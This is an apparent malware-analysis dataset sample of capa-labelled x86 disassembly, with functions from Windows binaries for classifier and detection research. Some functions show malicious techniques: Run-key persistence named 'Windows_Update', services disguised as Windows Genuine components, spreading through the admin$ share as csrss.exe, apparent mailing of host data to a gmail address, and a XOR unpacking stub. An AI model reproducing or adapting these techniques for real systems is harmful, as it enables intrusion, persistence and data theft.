joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407563
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004038f8
and dword [ebp - 4], 0
cmp dword [0x497b98], 0
mov ebx, eax
jne 0x407614
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4076c5
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4076c5
push eax
call fcn.00403886
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x497b98], eax
call esi
push eax
call fcn.00403886
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x497b9c], eax
call esi
push eax
call fcn.00403886
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x497ba0], eax
call esi
push eax
call fcn.00403886
pop ecx
mov dword [0x497ba8], eax
test eax, eax
je 0x407614
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403886
pop ecx
mov dword [0x497ba4], eax
mov eax, dword [0x497ba4]
cmp eax, ebx
je 0x40766c
cmp dword [0x497ba8], ebx
je 0x40766c
push eax
call fcn.00403901
push dword [0x497ba8]
mov esi, eax
call fcn.00403901
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40766c
test edi, edi
je 0x40766c
call esi
test eax, eax
je 0x407663
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407663
test byte [ebp - 0xc], 1
jne 0x40766c
or dword [ebp + 0x10], 0x200000
jmp 0x4076a5
mov eax, dword [0x497b9c]
cmp eax, ebx
je 0x4076a5
push eax
call fcn.00403901
pop ecx
test eax, eax
je 0x4076a5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4076a5
mov eax, dword [0x497ba0]
cmp eax, ebx
je 0x4076a5
push eax
call fcn.00403901
pop ecx
test eax, eax
je 0x4076a5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x497b98]
call fcn.00403901
pop ecx
test eax, eax
je 0x4076c5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4076c7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401040
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub esp, 0x104
push ebx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
mov ebx, 0x409654
call sub.WS2_32.dll_gethostname
test eax, eax
jne 0x401109
push ebp
lea ecx, [esp + 0xc]
push esi
push ecx
call sub.WS2_32.dll_gethostbyname
mov ebp, eax
test ebp, ebp
je 0x4010f9
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
je 0x4010f9
xor esi, esi
mov edi, 0x409654
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xf4
jae 0x4010f9
mov eax, dword [esi + edx]
xor edx, edx
xor ecx, ecx
mov dl, byte [eax + 3]
mov cl, byte [eax + 2]
push edx
push ecx
xor edx, edx
xor ecx, ecx
mov dl, byte [eax + 1]
mov cl, byte [eax]
push edx
push ecx
push 0x408394
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x409654
or ecx, 0xffffffff
xor eax, eax
add esp, 0x18
repne scasb al, byte es:[edi]
mov edx, dword [ebp + 0xc]
add esi, 4
not ecx
mov eax, dword [esi + edx]
dec ecx
add ecx, 0x409654
test eax, eax
mov ebx, ecx
jne 0x401095
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0x104
ret
pop edi
xor eax, eax
pop ebx
add esp, 0x104
ret

Function at 0x401120
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x120
mov eax, dword [esp + 0x124]
push esi
push eax
mov dword [esp + 8], 1
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4011ce
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x12c]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x18], eax
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [esp + 0x1e], ax
mov word [esp + 0x1c], 2
call sub.WS2_32.dll_socket
lea edx, [esp + 4]
mov esi, eax
push edx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
lea eax, [esp + 0x10]
push 0x10
push eax
push esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x14], 0x1e
mov dword [esp + 0x18], 0
call sub.WS2_32.dll_connect
lea ecx, [esp + 8]
lea edx, [esp + 0x20]
push ecx
push 0
push edx
push 0
push 0
call sub.WS2_32.dll_select
cmp eax, 1
jge 0x4011d9
push esi
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
pop esi
add esp, 0x120
ret
mov eax, esi
pop esi
add esp, 0x120
ret
Function at 0x4011f0
Capabilities:
Check for time delay via gettickcount
Send data
Send data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [esp + 0x20]
xor edi, edi
test esi, esi
mov dword [esp + 0x10], eax
jle 0x40124e
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0xea60
ja 0x401256
push 0
lea eax, [edi + ebx]
push esi
push eax
push ebp
call sub.WS2_32.dll_send
test eax, eax
je 0x401256
cmp eax, 0xffffffff
jne 0x401246
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x401256
jmp 0x40124a
sub esi, eax
add edi, eax
test esi, esi
jg 0x401211
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret

Function at 0x401260
Capabilities:
Check for time delay via gettickcount
Receive data
Receive data on socket

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x18]
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0xea60
ja 0x4012b9
push 0
push edi
push ebx
push ebp
call sub.WS2_32.dll_recv
mov esi, eax
test esi, esi
je 0x4012b9
cmp esi, 0xffffffff
jne 0x4012ad
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x4012b9
test esi, esi
jl 0x40127b
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret

Function at 0x4019f0
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 4]
push esi
push 2
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x401a08
pop esi
ret
mov ecx, dword [esp + 0x14]
push 0
mov edx, dword [esp + 0x14]
push 0
mov eax, dword [esp + 0x14]
push 0
push 0
push 0
push ecx
push 1
push 3
push 0x10
push 0xf01ff
push edx
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x401a52
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0x431
sete cl
mov eax, ecx
pop esi
ret
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
ret

Function at 0x401a70
Capabilities:
Start service

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
push 2
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x401a8a
pop edi
pop esi
ret
mov ecx, dword [esp + 0x10]
push 0x10
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401aaa
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
mov eax, 1
pop esi
ret
Function at 0x401b30
Capabilities:
Extract resource via kernel32 functions
Get common file path
Persist via run registry key
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x34
mov ecx, 0xb
lea eax, [esp]
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea edi, [esp + 0xc]
rep movsd dword es:[edi], dword [esi]
push eax
push 3
lea ecx, [esp + 0x14]
push 0
push ecx
push closesocket
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x401b97
push 0x408c28
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esp]
inc eax
push eax
push 0x408c28
push 1
push 0
push str.Windows_Update
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [0x1f407008]
pushfd
les esi, [ebx + eax*8]
nop
nop
nop
nop
nop
Function at 0x401e10
Capabilities:
Copy file

Disassembly:
sub esp, 0x65c
push ebx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
mov esi, dword [esp + 0x674]
push edi
push esi
lea eax, [esp + 0x34]
push str._sipc_
push eax
call ebp
mov ebx, dword [esp + 0x680]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x670]
push eax
push edi
lea ecx, [esp + 0x38]
push ebx
push edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x3c], eax
call dword [0x409234]
cmp eax, 0x55
je 0x40200c
cmp eax, 0x4b2
je 0x40200c
test eax, eax
jne 0x40200c
push 2
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
jne 0x401f2d
xor ebp, ebp
mov esi, str.administrator
mov eax, edi
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401ed3
test cl, cl
je 0x401ecf
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401ed3
add eax, 2
add esi, 2
test cl, cl
jne 0x401eaf
xor eax, eax
jmp 0x401ed8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401f19
mov esi, str.administrator
mov eax, ebx
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401f0b
test cl, cl
je 0x401f07
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401f0b
add eax, 2
add esi, 2
test cl, cl
jne 0x401ee3
xor eax, eax
jmp 0x401f10
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401f19
mov ebp, 1
push 1
lea eax, [esp + 0x34]
push 0
push eax
call dword [0x408c20]
jmp 0x40200e
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
lea ecx, [esi + 2]
push edi
push ecx
lea edx, [esp + 0x278]
push str.Subject:__s_s_s_r_n
push edx
call ebp
lea eax, [esp + 0x280]
push str.whiat1001_gmail.com
push eax
call fcn.00401430
push str.cmd.exe__c__net_share_admin__
push str.Windows_Genuine_Logon_Manager
push str.wglmgr
push esi
call fcn.004019f0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
test eax, eax
je 0x401fa0
push str.wglmgr
push esi
call fcn.00401a70
add esp, 8
push 0x3e8
call edi
push str.wglmgr
push esi
call fcn.00401ad0
add esp, 8
push esi
lea ecx, [esp + 0x68]
push str._s_admin_csrss.exe
push ecx
call ebp
add esp, 0xc
lea edx, [esp + 0x64]
push 0
push edx
push 0x408c28
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402005
push str._SystemRoot_csrss.exe
push str.Microsoft_Windows_Genuine_Updater
push str.wgudtr
push esi
call fcn.004019f0
add esp, 0x10
test eax, eax
je 0x402005
push str.wgudtr
push esi
call fcn.00401a70
add esp, 8
push 0x3e8
call edi
push str.wgudtr
push esi
call fcn.00401ad0
add esp, 8
mov ebp, 1
jmp 0x40200e
xor ebp, ebp
push 1
lea eax, [esp + 0x34]
push 0
push eax
call dword [0x408c20]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x65c
ret
Function at 0x402fc0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x400
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 8], ax
mov ax, word [esp + 0x418]
push 1
mov word [esp + 0xe], ax
call edi
mov edx, dword [esp + 0x414]
lea ecx, [esp + 0x14]
push ecx
push edx
mov word [esp + 0x14], ax
mov word [esp + 0x16], 0
mov word [esp + 0x18], 0
mov word [esp + 0x1a], 0
call fcn.00403080
add esp, 8
mov esi, eax
add esi, 0xc
push 0xf
call edi
mov word [esp + esi + 8], ax
push 1
add esi, 2
call edi
mov edx, dword [esp + 0x40c]
mov word [esp + esi + 8], ax
mov eax, dword [esp + 0x410]
push 0x10
push eax
add esi, 2
push 0
lea ecx, [esp + 0x14]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
mov eax, ecx
pop esi
add esp, 0x400
ret

Function at 0x4034f0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x1c
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x403507
cmp eax, 0xffffffff
jne 0x403512
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push esi
test eax, eax
je 0x40360f
cmp eax, 0xffffffff
je 0x40360f
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40360f
push 0x4000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
lea eax, [esp + 0xc]
push eax
push ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], 0x4000
call esi
test eax, eax
jne 0x40360f
push edi
lea edi, [ebx + 0x10c]
test edi, edi
mov dword [esp + 0xc], eax
je 0x4035f4
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_inet_addr]
lea esi, [edi + 4]
test esi, esi
je 0x4035e9
push 0x35
mov word [esp + 0x20], 2
call ebx
push esi
mov word [esp + 0x22], ax
call ebp
test eax, eax
mov dword [esp + 0x20], eax
je 0x4035b0
cmp eax, 0xffffffff
jne 0x4035c6
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4035e9
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x20], eax
test eax, eax
je 0x4035e9
cmp eax, 0xffffffff
je 0x4035e9
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00402cd0
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4035ef
mov edi, dword [edi]
test edi, edi
jne 0x403589
mov ebx, dword [esp + 0x18]
pop ebp
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
add esp, 0x1c
ret
pop esi
xor eax, eax
pop ebx
add esp, 0x1c
ret
Function at 0x4043e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4087b8
cmp edx, dword [eax]
je 0x40440b
add eax, 8
inc ecx
cmp eax, 0x408848
jl 0x4043fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4087b8]
jne 0x404539
mov eax, dword [0x409764]
cmp eax, 1
je 0x404513
test eax, eax
jne 0x40443c
cmp dword [0x4086ec], 1
je 0x404513
cmp edx, 0xfc
je 0x404539
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404473
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404a60
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404be0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4044b6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404be0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40747c
push edi
call fcn.00405900
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404a60
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404a70
lea eax, [ebp - 0xa0]
push 0x40745c
push eax
call fcn.00404a70
push dword [esi + 0x4087bc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404a70
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040586b
add esp, 0x2c
pop edi
jmp 0x404539
lea eax, [ebp + 8]
lea esi, [esi + 0x4087bc]
push 0
push eax
push dword [esi]
call fcn.00404be0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40352b
Capabilities:
Terminate process

Disassembly:
jmp 0x453b99
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x453baa
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.0040578b
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x403648
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c265
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c276
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c14c
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403eea
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c29e
push ebx
push esi
push edi
call fcn.00405588
add esp, 0xc
push 0
call fcn.0040609b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x405646
Capabilities:
Parse pe header

Disassembly:
jmp 0x442cab
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x442cea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x442cea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x442cea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x442cea
cmp dword [ecx + 0x74], 0xe
jbe 0x442cea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x440b53
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.004036a7
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x440b92
sub eax, 1
je 0x440b8d
sub eax, 1
je 0x440b89
xor eax, eax
leave
ret
push 3
jmp 0x440b94
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x496044
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401d4d
mov eax, dword [0x4cc040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405cc2
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x496086
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4961e2
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405e16
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4cf858]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004031d9
mov ecx, dword [esi*4 + 0x4cf858]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4961db
cmp eax, dword [edi + ecx + 0x24]
jne 0x4961db
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4961db
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004031d9
add esp, 0x14
test edx, edx
jl 0x4961db
jg 0x496151
test eax, eax
jb 0x4961db
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4961db
jl 0x49616b
cmp dword [ebp - 0x1008], eax
ja 0x4961db
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x496189
test ebx, ebx
je 0x4961c2
cmp ecx, edi
jae 0x4961c2
mov al, byte [ecx]
cmp al, 0xd
jne 0x4961a3
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4961af
cmp byte [ecx + 1], 0xa
jne 0x4961af
inc ecx
jmp 0x4961af
movzx eax, al
movsx eax, byte [eax + 0x4cc3a8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x496189
cmp edx, ebx
jne 0x496189
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4961e0
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402fbd
leave
ret
Function at 0x496921
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4cf858]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x496961
cmp byte [ebx], 0xa
jne 0x496961
or byte [eax + edi + 0x28], 4
jmp 0x496966
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x496a64
mov al, byte [edx]
cmp al, 0x1a
je 0x496a46
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x496995
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4969ba
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4969c4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x496977
jmp 0x496a64
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x496a41
cmp dword [ebp - 0xc], 0
je 0x496a41
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4cf858]
test byte [eax + edi + 0x28], 0x48
je 0x496a1b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x496a06
mov byte [esi], dl
jmp 0x496a17
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4cf858]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x496a64
cmp byte [ebp - 1], 0xa
jne 0x496a2a
cmp esi, ebx
jne 0x496a2a
mov byte [esi], 0xa
jmp 0x496a63
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004018f7
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x496a64
mov byte [esi], 0xd
jmp 0x496a63
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4cf858]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x496a60
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x496a64
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret